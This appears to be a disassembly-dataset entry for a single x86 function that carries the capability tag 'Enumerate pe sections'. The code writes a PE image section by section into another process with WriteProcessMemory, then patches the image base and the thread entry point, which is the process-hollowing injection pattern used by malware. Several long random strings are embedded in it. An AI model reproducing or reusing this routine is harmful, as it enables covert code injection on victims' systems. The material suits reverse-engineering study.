Function at 0x406820
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x414630
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x465148]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
push 0x4237ec
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x4662c4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x406898
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x4068f7
mov dword [ebp - 0x24], str.cEsj3QBLKY3IhMhPJ82G8lWz91FLOPVV6dqtwvVKNdy1JGK3TWsX4zMH98KahnkYj2ovEfLduMiUEArrHl5nX5slIYoTH5dSnh9K7RQpYOBzv8luefcEpdBXk58dcUe5r2WQVNbCtLOQy3c7anwOlX47snv9IVGxegvGr5V8iw9oUhpOLqf90XRkHc0r3pAL1NXpipveNlPCvQ7ASV0aWvfbKe4GLFGJHqWtvatftT1I7X7UUmRH8uEdkA39ifoXJKuxnhCvOeOBiWXQR1oOKsI3gLkUUNQv9k9zyqXlsKi1NJPw1Ww2Rc79lzJNNnwCnrHWMHxbF2rmpagxjEK5pWLkvbpLU0w56NcundMkgmcLVB567F52pdMLDxofSLK9iG03Li1Q8syXsrvaweY8DCQXpQ8d02ib7GoGDmAqLCrtYu2YeKWKeOuaB2ycrzwQkzBy7JCsNSioo0obASvjJnUvcH7nhE4bnjURFJYf1W4prJBDBrbl5NaVhbLruXNvi5CUaCkTifgLNPWDTrvqAAYd3u1HVGStNiY6SA4mGTQj2YVKJa2dXbWVTlQ2lqL7ewmQuNnmpIlszdpS20mtkWnwmbMSmd7Hzx3I0ndwLgLbJ7pgmC329gjg28RivBTVrnqkSnffgJE4KDitSRIKknCcK2CRexkK7dPlWP0Mt65gLfFosM0E8xShqp8LNsSturFyrGFeaXAuJPneyDwMdYvd9vWNrekJ7FkMVTiseHh3BLAyiRVhEQCz7hchfbFvbIc0slDdIkKP7PGfp8TlTe7LGns8b5d4vAH9oPe4MC7iXjkukj6hKbE2m8RR7ct2yujmwbnoK01tJSsO5rgstJHoLA4yPcimrPtL269p5EBYQJg7kO4kFQqJGxeQYdKjVgDCshnalpw2GueypTgomrPL2q0Y6QbvnzkeLoEwjQXnsc3DhmAiUnC2RozLBabRQN10j1mcQfDnkoJfx5NGauiTnkECQDEEYbfnOHBHXwIWi3yvq8Gmgx8yUNts3fJr79wVqXjpPoXBgB2XOO38Lh91X4JRhnPabkriDg7uJdCs3VWqfBFUFo9887IXzSB4Mxwam0tX84p8lnm4RbpHjuFzbBcrN71HaRnkSwyGBIDSIHAlus4Brc5R1WpAJMfYbwADUbkiQF5xFce5ywvJb2qlFdbg3aM9lXM3wevjJ63uww8r9FCl4uB9lbPTjTmIOQzzcSB4iSmIzPpRYpiI02chllavX6YBp2CjLkQFDClLWKsbsrpgj4Dx9TxGlnT2xxzruGha4DRMGjVuxFTrVonYTXUaa6hwYJlvFrWvIwQTIJjIoG3sJyYp5TCoDeTfR9y6tRIemp6nj5XyxLIFsa3JS9Fn4L9HQBxd0oHRChtDW82ocDlr0aqwm2kEpjJ3PEmIxBHotP59rCmLg6kWPJekBCgHMwn1eUlDCpduHbqNrmiltyMOe7izsbsIpvSrgYkbbqOEPnzb9A1KNJVIHhHXnId8XFFdEhKs88uyKDYmymSTc259j8bY8aCfk7EK0FjU4idYH9SlRlRfpgPXEJqbXqwbrEg5Mt1ibOYMk1eSmYmS8J4m2mfeslxTsOqPos5IkPNUGkNCvnmqXdSOmumPzH4aEND96R2B0EHmd65YSki7lRGdcOANIhdBqwPN3mDGkPJdHjnfdoaJEo9FJdJ0ELVCkCx8i6V4
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x4662c4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x28], str.rF1jlrFw6AL0GsU7cFYDWAgyiSlGDjw5CrUAI8rYz0cdI1e9S1sJyWk4LXwjmCAkNUI8V2CRyNk1ahAA973N8peExoa09agkGWDdt60jvwN4WopLx6fDp3nMBJWyVWjscsTBO48xygRPuGoEO7Ao7L01K39G6dTMojSoqspXxAkKDPBRVjHBRba3nVBYtutYCq05Dx581By4GHpF3QlghHLLEwKTjxPonHKyNldGeVvYqtvWwUgFUwx9rpyQnq5Xn8I6dFGs7HJy2AVgUHmyjx2lgJC4QsGkwCzo66dplylJbI3L1ry4SuDBpc6ImdpHWb3vDWkChF1oYPyiLlTF6OxmNUIP1xm1YLWS0lqlXH4f2bsimEuiiKLa8BNmmyWL8pbmg7GWbRjVkf6RaEwdNjeJKse8oCX988HbvUaWoSbYmL9LKCe8UeASJcsPyptWVVzXH9G2KWGM3NDmVOX6Q4mBQ4y6MMTCETVKOWWX9PqEMCQGGA9zM7U1AN8ppX0iC4XUMgtGaMyNpNtobegpSppn6GoagmOEoyYiqMBj4yOhd8vNP6TRdNQ5it8DAGL7Iqk2BXu2Ptw4UIePexHzOQ6GIuG08UzExOqJ329dajz2JUi6aVpxHXLQHw1j3hiW0PPmvYomrpsVjmFMDEOcOeordUCvXhkjsD7hEyS8KAdqKTFNR7Ol3whnWvArXGmDtoXe7i6iUdt2BHUDgJmbhxyLiEBQAwrwNg9msslMp9sbSclqqVvhiFdSnfUlN7Wcpssdf8LEqKWb33gXabnDR736YElr30zvs9PHW7k7SXkf1cgHwVaBHOGVBMixe1lXkAf800Owoavu9RiGHE9XuuB4u5KVFfBGz1MdO7Rmgj3SgyBC8QFPPC4hvsiOb53sYEy3KAUevO1jDXORq3bLjscyjn2g17FHxOO74jgWPF7x19QqrLaHs0VWbNHfRhOvqKRh4V0nGkAeylVUcxfXK43IbeBATG9x1L3OUP4BaNhWS7FBUU5fB99d0DA4JNE9TcRpMedM6zB87gWp4voFrBEX5z9jphFkRmO4O23h1Gx6LQ1ThR2HztPBy3hPr6QHUBwf3XYxaGF6QergnCTgjCJVgBA6Ot9wgjGLuwgctB9dM06jrnWASEjSJjimWSSHhO4Q9TX0z2Fsu1exIMhnvViwdK9QI5GNAyv7V80OO2zKjrm4EuYEkAe4D1tEs6wYYUVyI06HfeIQ4EnDUaiSsywRFHdKVcG5tlmzm0NPBJzrYjuEmtvTWtprDWQ1oWNyigRVBtwwmbc6Nnea480VNNUoBoudv9MxP8BPeuteDGahF2sPgRdB0IWwkcKYrSWLIqONSQGxkXGjdIm0snEUsddJg1TSLvRCNDOOgb2cXaysvcrAjrXg31e5A3JlyCu94g0eVPe4PY7Q4rzeIMNqAAnL90DGi640LOPJrWMcSEhuRJTaIeVCQfQ9v5A9U6cukRSvjq4INRyikzWfDxcnAYEFX28MR1LAnUK3YTgWVT35mKw2WwvGtBEYt6oEYw3RLzafSPojotpvilOEl0ST8FwPJ34AzyBAwoTqmohoWTRcTFhWHPmJavK86arppklAUXPfKyAV4VgBriJl8R7m7cGTFfnLIjtpmVSOi3QLVU05A6lTUWnguCuleAiebfycwU5AfkmUsC1TwcxoA1roInaKg3eeS8uKhywqLGhvdqTcOWa9OUH2dSuDYVK7rduuDuozY9BQvaM1y2jbxBDSkg9zg948S34wTrUGYs7lldmidms9R0L2nrBjI1SoFq7xw4sMNdtzprVOM6ml63IXB79IEtzTKqOT94piqH9e7fmjEH9FKJbxgJUQ4T0yxmHCFbf2M2payy5nHSgIy1X2uvRREeFbQODl99ycN2pmzM7vgDsGrSS4pqN5QSEqYGMjRIYojl5WDS645bPrwnTG6ejULPyTH5EuiFfA6jcd1kakp3Os8v0lArQXexD2dn6p8L8bW6nxA56sTYaSNjiPRkGYJYFdaghifPxUxD4u0CewI4WsiQWnQWUOxF2FEDFXJFpXxzuKzYsrrzzDvdcAr6uuxBFxgH7VS7LRAmLakFi365LrBunstm89ok8R0TKib0KzddPF1JN6crCAWKRmJ5q5qTvxlX3PldxoX7op3IDaEJuo4ab4YmOJEQupcSQVgCp4iM4DAH0LTm8PHPPKU5vEQim8WTfE27GGDJdJsgIiMVzxPUvXbRAAsNVkqxIGXCOLnf6edwb4AmcLCASFn9WmAtEtTz5mA3ibPlLO64jd5NHpp2La53jY8XvV84pCAlHfjP7i53GPtG8YLr1dNyeABo5Yhja7TsHA2iQCM7oRrIPHt2BUYk5ripwK0T83Dm2jd3wTBq9b6Rumu3xN4R4Y9dyjnGpk84vQWcvmzEeu1m9rYIVJqnfKPswzXLquSx23oB0os1srcF81ljX2mRssHninLxWHEPx9yT1vJchy9z7P96Sna7pUPFkrfC3LlY8LturmzrHfL66ibn4O5CC80zGmiVa971TV5wVKPujNtwppqsSPgHseFQ0CgD0Vi043iW2C7Ahp5pIP4ERhRp3r2KsDYcFRq2TTYr44GvkbRA0Svkzn0zsbW4QGHjyjfdMGWsbhwyN4B9AvlNEMFLt025wUaUogHDa0YepDjxzVuq5gnuQvSoLzxCpoviepWrwMMJzEsK8x83uoBJWXCwQIu134oUr2mLup4KiX23wxFT7LeXRYJ51py5wMSzK5sMJCpM6lQMnrE8xTEBxJ8HpK9duivhd61F1Ar8gJoNVH5aKUv41OzO2Ymgdbgkal1B9OEPVbRwWDpF3CANqcQBFuYDwXyjkEBM2ezI5TbNNqzB0qVhXfG1VMxeN5j2Iw9tG9DnvfW5qcUbyqJYTJILjzfs4MRBG6fRagd9OGtimVhR1jrpBNAl5C0hQh1nU9DeBGF8tRKRHuUpVqG5u0R0lTp8kD0Yq7kPeUjeKyxL8FzPgMhu6e5J4uT9ETdppy9hrSUBr7b4UqrsrYBn01aSlxO5IKfHCfhSaG2disoaXA6R9LiSTnf0jTyFR1fxfgrOg7oVPUgpwTT0Yfmw8W5Uo5WuKldseh7aQABcWGoBRvbPOAA4BqtbSUM8Qv3cb0nzBoQ9wM7qroQ45hxmAktDfubrlijbkn67kcJfEvfw14HafB2b4hxi6PXX4sPe1TcjVljy16mRKjUPeVgjnPQSrOKFnICqdkDKF7mXqwDYJjU6yPqCgxjXqYHaxi2fvym5fKrdPqH1TKojp4I4OOETjBszHNBraGk3HrUOkaID7KjbCBpFA7kUwDcDVkd844ysvlSaaNn87RUHCBHwqNy3BJAF9rWJJd2evxbrI6Rlw8FextSPEcn9hgRza9c1mQLiU6tGuxTHQ1ms7MePVzvUmjJNHRB5JUOJn18KagGdxs0mHj1TmavRQBronw5jlydETejlwb0tRPSgl2zpn9EmQFH0GuNte52iTGXVvP5D20zQH9dSPG1zCEON1ycDa3mTaeMTdwHr7dR554hSYPquAsxAD0XbvdiQSFdpPe9d6eSiqm84sFtXgDcIIx6RhuUBDMuqLDePPfX7kP7agauElwz8kmNI85pEpiAOu8gN5UIwYvEYQhD3E41lp4B9liRCxSgdEN6buk3Nhz8o0TLt9XlqNJhQSHu9Mb452s4yA46AJqWoUTz3VDW5fVPRj4q1iKfLzz3cO6gPtGz0b6rLgaGxmAzzQlR3AaSoknqPtUgOicrlLezrwnWCEc5ElI3aBRMUvK5SLq0bCV1B32UGeJEKwBaajxakDkw9rksgPYIOx9K6NacX3ucUhbUpRosBpVtHDosuBqT1Jfc89fRyNxxE6II7O3bb02J1HXxG02hmzQObDQdzqu883scgzuCeTVborMEvMvQN3OaIcveY1FV268eccS34YStUIfifB2UyLaLnaHGwN6rG7QYAoDK6w52xCtrG2g0e28dMeR9O9vDXPgSquk5JbH11jjBiugUIK92HvnThyj3iSpB2tKlx0RmW9hN2jAIgsRQWuA3bGEHJON830SS7oCMJzBAtJeLpn8fr4NqAlmaS3rDsiW
jmp 0x40688f
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x4662c4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov dword [ebp - 0x2c], str.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
mov al, 1
jmp 0x40695c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14